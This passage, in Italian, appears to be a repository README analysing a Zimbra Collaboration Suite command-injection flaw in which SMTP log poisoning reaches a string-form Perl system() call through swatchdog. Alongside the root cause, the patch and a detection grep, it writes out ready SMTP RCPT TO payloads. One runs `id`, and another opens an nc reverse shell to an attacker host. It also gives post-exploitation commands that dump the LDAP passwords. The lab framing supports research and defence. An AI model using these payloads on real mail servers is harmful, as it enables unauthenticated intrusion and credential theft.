
Zimbra Collaboration Suite RCE — Avvelenamento dei log SMTP → swatchdog → Iniezione di comandi nel sistema operativo (CVSS 8.9, CISA KEV)
Nota: Questo repository contiene un'analisi tecnica indipendente e una riproduzione PoC di CVE-2026-73570. Non è il report originale della vulnerabilità.
RCE in Zimbra Collaboration Suite — avvelenamento dei log SMTP → swatchdog → OS Command Injection (CVSS 8.9, CISA KEV)
Tipo: OS Command Injection → RCE non autenticata
Vettore: avvelenamento dei log SMTP → swatchdog → espansione shell in forma di stringa di dosnmp
Intervallo versioni interessate dal vendor/CVE: Zimbra Collaboration Suite < 10.1.20
Prerequisiti: zimbra-snmp installato; notifiche SNMP abilitate
CVSS: 8.9 (Alto)
CISA KEV: Sì — aggiunta al Catalogo delle Vulnerabilità Note Sfruttate di CISA
Patch: Zimbra 10.1.20 (rilasciata il 2026-07-20)
Nota sull'intervallo di versioni: I metadati del vendor/CVE elencano come versioni interessate Zimbra < 10.1.20. Tuttavia, il codice sorgente di Zimbra 10.1.0 esaminato durante questa ricerca utilizzava già la chiamata sicura
system()in forma di lista. Ciò suggerisce che l'implementazione vulnerabile in forma di stringa sia stata introdotta in una build intermedia e successivamente corretta nella 10.1.20, ma la versione esatta in cui è stata introdotta la regressione non è stata verificata in modo indipendente dalla cronologia del repository.
La vulnerabilità risiede in /opt/zimbra/conf/swatchrc.in, all'interno della funzione dosnmp responsabile dell'invio delle notifiche SNMP trap quando lo stato di un servizio Zimbra cambia.
sub dosnmp {
my %args = (@_);
print "SNMP notification: $args{MESSAGE}\n";
system(
"$snmptrap $snmpsvctrap $snmpsvcname s $args{SERVICE} $snmpsvcstatus i $statuses{$args{STATUS}}"
);
}
L'implementazione vulnerabile utilizza la forma a stringa di system() di Perl. Il comando risultante viene interpretato da una shell, consentendo la valutazione di metacaratteri della shell e sostituzioni di comandi come $(...) contenuti in $args{SERVICE}.
sub dosnmp {
my %args = (@_);
print "SNMP notification: $args{MESSAGE}\n";
system(
"/opt/zimbra/common/bin/snmptrap",
"-v", "2c",
"-c", "zimbra",
$traphost,
"",
$snmpsvctrap,
$snmpsvcname,
"s",
$args{SERVICE},
$snmpsvcstatus,
"i",
$statuses{$args{STATUS}}
);
}
La correzione di sicurezza principale consiste nel passaggio dalla forma a stringa alla forma a lista di system(), impedendo l'interpretazione da parte della shell di dati controllati dall'attaccante.
Con la forma a lista, l'eseguibile e i suoi argomenti vengono passati separatamente. Valori come $(cmd) vengono trattati come dati letterali anziché come sintassi della shell.
Attacker (Kali)
│
│ SMTP RCPT TO with crafted quoted local-part
│ containing the swatchdog pattern + payload
▼
Postfix/smtpd (Zimbra server, port 25)
│
│ Accepts the RCPT TO
│ Logs it to /var/log/zimbra.log
▼
swatchdog (running as zimbra)
│
│ Pattern:
│ /: Service status change: (\S+) (.*) changed from stopped to running/
│
│ Captures attacker-controlled content
│ and passes it to donotify()
▼
donotify()
│
▼
dosnmp()
│
│ system("$snmptrap ... $args{SERVICE} ...")
▼
/bin/sh
│
│ Expands $(payload)
▼
Command execution as "zimbra"
│
▼
Reverse shell / post-exploitation
Il problema chiave è il flusso di dati completo:
SMTP
→ Postfix
→ /var/log/zimbra.log
→ swatchdog
→ donotify()
→ dosnmp()
→ string-form system()
→ shell interpretation
→ command execution
Postfix accetta la local-part tra virgolette appositamente costruita e la registra in zimbra.log. swatchdog interpreta successivamente il contenuto del log corrispondente come un evento di stato del servizio, consentendo ai dati controllati dall'attaccante di raggiungere l'invocazione vulnerabile di system().
I seguenti comandi sono stati testati solo in un ambiente di laboratorio isolato.
Connettersi al servizio SMTP di destinazione:
nc <target> 25
Invia una transazione SMTP appositamente costruita:
EHLO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<"x: Service status change: localhost $(id>/tmp/pwned_rce) changed from stopped to running"@target.com>
DATA
.
QUIT
Se lo sfruttamento ha successo, /tmp/pwned_rce contiene un output simile a:
uid=998(zimbra) gid=999(zimbra) groups=999(zimbra),5(tty),998(postfix)
Questo conferma l'esecuzione di comandi nel contesto dell'utente zimbra.
Avvia un listener sulla macchina dell'attaccante:
nc -lvnp 4444
Poi invia il payload tramite SMTP:
EHLO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<"x: Service status change: localhost $(rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f) changed from stopped to running"@target.com>
QUIT
Lo sfruttamento riuscito porta a una shell interattiva in esecuzione come utente zimbra.
Attacker (Kali): 10.0.2.15
Victim (Ubuntu): 10.0.2.22
Hostname: mail.lab.local
VirtualBox NAT Network: 10.0.2.0/24
Il codice sorgente di Zimbra 10.1.0 esaminato durante questa ricerca conteneva già l'implementazione sicura di system() in forma di lista.
Pertanto, l'installazione standard di 10.1.0 utilizzata in questo laboratorio non è stata considerata una prova che Zimbra 10.1.0 stesso fosse vulnerabile.
Per riprodurre la condizione di vulnerabilità descritta da CVE-2026-73570, swatchrc.in è stato modificato manualmente per utilizzare l'implementazione vulnerabile di system() in forma di stringa.
Eseguire il backup della configurazione originale:
cp /opt/zimbra/conf/swatchrc.in \
/opt/zimbra/conf/swatchrc.in.bak
Il comportamento vulnerabile può quindi essere riprodotto nel laboratorio isolato applicando l'implementazione in forma di stringa mostrata nella sezione Root Cause ed eseguendo swatchdog contro il log di Zimbra.
Esempio:
PERL5LIB=/opt/zimbra/common/lib/perl5 \
/opt/zimbra/common/bin/swatchdog \
-c /opt/zimbra/conf/swatchrc \
-t /var/log/zimbra.log &
Questa modifica del lab esiste unicamente per riprodurre e analizzare il flusso di dati vulnerabile. Non deve essere interpretata come prova che la build 10.1.0 non modificata fosse vulnerabile.
Una sfruttamento riuscito fornisce l'esecuzione di comandi come utente zimbra.
Confermare il contesto di esecuzione:
id
Esempio:
uid=998(zimbra) gid=999(zimbra) groups=999(zimbra),5(tty),998(postfix)
La configurazione locale di Zimbra può esporre credenziali accessibili all'account di servizio compromesso.
Ad esempio:
/opt/zimbra/bin/zmlocalconfig -s zimbra_ldap_password
/opt/zimbra/bin/zmlocalconfig -s ldap_root_password
Queste credenziali possono fornire accesso alla directory LDAP di Zimbra e dimostrare l'impatto post-sfruttamento dell'ottenimento dell'esecuzione di comandi come utente zimbra.
Cerca nei log di Postfix/Zimbra le voci dei destinatari SMTP che contengono il pattern dello stato del servizio di swatchdog:
grep -E 'to=<".*Service status change.*"@' /var/log/zimbra.log
Una ricerca più ampia della sintassi di sostituzione dei comandi all'interno di local-part tra virgolette: